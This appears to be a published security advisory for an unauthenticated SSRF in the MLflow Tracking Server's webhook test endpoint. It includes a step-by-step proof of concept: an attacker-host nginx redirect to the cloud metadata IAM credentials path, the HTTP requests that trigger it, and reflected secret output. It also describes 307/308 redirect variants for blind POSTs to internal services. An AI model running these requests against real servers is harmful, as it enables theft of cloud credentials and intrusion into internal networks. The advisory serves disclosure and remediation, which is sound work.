Summary The default MLflow Tracking Server (mlflow server, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous POST /api/2.0/mlflow/webhooks/{id}/test endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (validatewebhookurl, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no allowredirects=False) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns 302 Location: http://169.254.169.254/... (or http://127.0.0.1:...); MLflow follows it and never re-validates the redirect target. Because /test reflects the response body, this is an unauthenticated full-read SSRF on a default server.

Details Three facts combine:

1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (mlflow/server/auth/init.py, WEBHOOKBEFOREREQUESTHANDLERS), which is not loaded by default.

2. The guard validates but pins nothing — mlflow/utils/validation.py validatewebhookurl: python schemes = MLFLOWWEBHOOKALLOWEDSCHEMES.get() # default ["https"] if parsedurl.scheme not in schemes: raise ... if not MLFLOWWEBHOOKALLOWPRIVATEIPS.get(): # default False for addrinfo in socket.getaddrinfo(hostname, None): ip = ipaddress.ipaddress(addrinfo[4][0]) if not ip.isglobal: raise ... # blocks RFC1918/loopback/link-local/metadata The resolved IP is never carried into the connection.

3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py: python def createwebhooksession(): adapter = HTTPAdapter(maxretries=retrystrategy) # retry only; no IP pinning ... def sendwebhookrequest(webhook, payload, event, session): validatewebhookurl(webhook.url) # re-validates the ORIGINAL url only return session.post(webhook.url, data=payloadbytes, headers=headers, timeout=timeout) # no allowredirects=False -> 302 followed; redirect Location never re-validated testwebhook returns responsestatus and responsebody to the caller. Bypass vectors:

Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.

PoC All requests are unauthenticated, sent to the MLflow tracking server ({{TARGET}}). The SSRF fetch is performed by the MLflow server itself; the internal response is reflected back in the /test response. {{ATTACKER}} is a host the researcher controls that resolves to a public IP and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.

Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }

Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):

POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json

{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTEREDMODEL","action":"CREATED"}]}

-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."} (an https://127.0.0.1/ variant is likewise rejected as a non-public IP)

<img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" />

Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes validatewebhookurl):

POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json

{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTEREDMODEL","action":"CREATED"}]}

-> 200 {"webhook":{"webhookid":"<WEBHOOKID>", ... ,"status":"ACTIVE"}}

<img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" />

Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:

POST /api/2.0/mlflow/webhooks/<WEBHOOKID>/test HTTP/1.1 Host: {{TARGET}} Content-Type: application/json

{"webhookid":"<WEBHOOKID>","event":{"entity":"REGISTEREDMODEL","action":"CREATED"}}

-> 200 {"result":{"success":true,"responsestatus":200, "responsebody":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}

<img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" />

Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting to a local secret service, Step 2 returned: "responsebody":"INTERNALSECRET=mlflowssrfproof7f3a91\nrole=admin\n"

For convenience, the "my secret data" is saved in the same location.

<img width="730" height="208" alt="image" src="https://github.com/user-attachments/assets/680e1895-6d2e-4fd7-838f-c484561b6e5c" />

Notes: - Webhook events enum values must be UPPERCASE proto names (REGISTEREDMODEL, CREATED); lowercase maps to ENTITYUNSPECIFIED and 500s. - Default allowed scheme is https only; the first hop must be https, the redirect Location may be http. - Webhooks require a SQL store; the default mlflow server (sqlite:///mlflow.db) qualifies. No auth needed.

- Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.

Impact An unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).

Fix

Fixed in https://github.com/mlflow/mlflow/pull/24258 (commit ba94952247), which adds connection-time SSRF protection (SSRFProtectedHTTPAdapter): the peer IP of each connected socket is validated against public-IP rules immediately after connect(), before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.

Redirect variants

The same missing re-validation enables two distinct primitives depending on the redirect status code:

- 302 (read): the redirect target is fetched with GET and, because POST /api/2.0/mlflow/webhooks/{id}/test reflects the upstream response body (WebhookTestResult.responsebody), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services). - 307 / 308 (blind write): these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon /stop, Elasticsearch /close, Spring Boot Actuator /shutdown).

Neither requires authentication on a default OSS server.

Then add a fix reference near the top or in a "Remediation" note:

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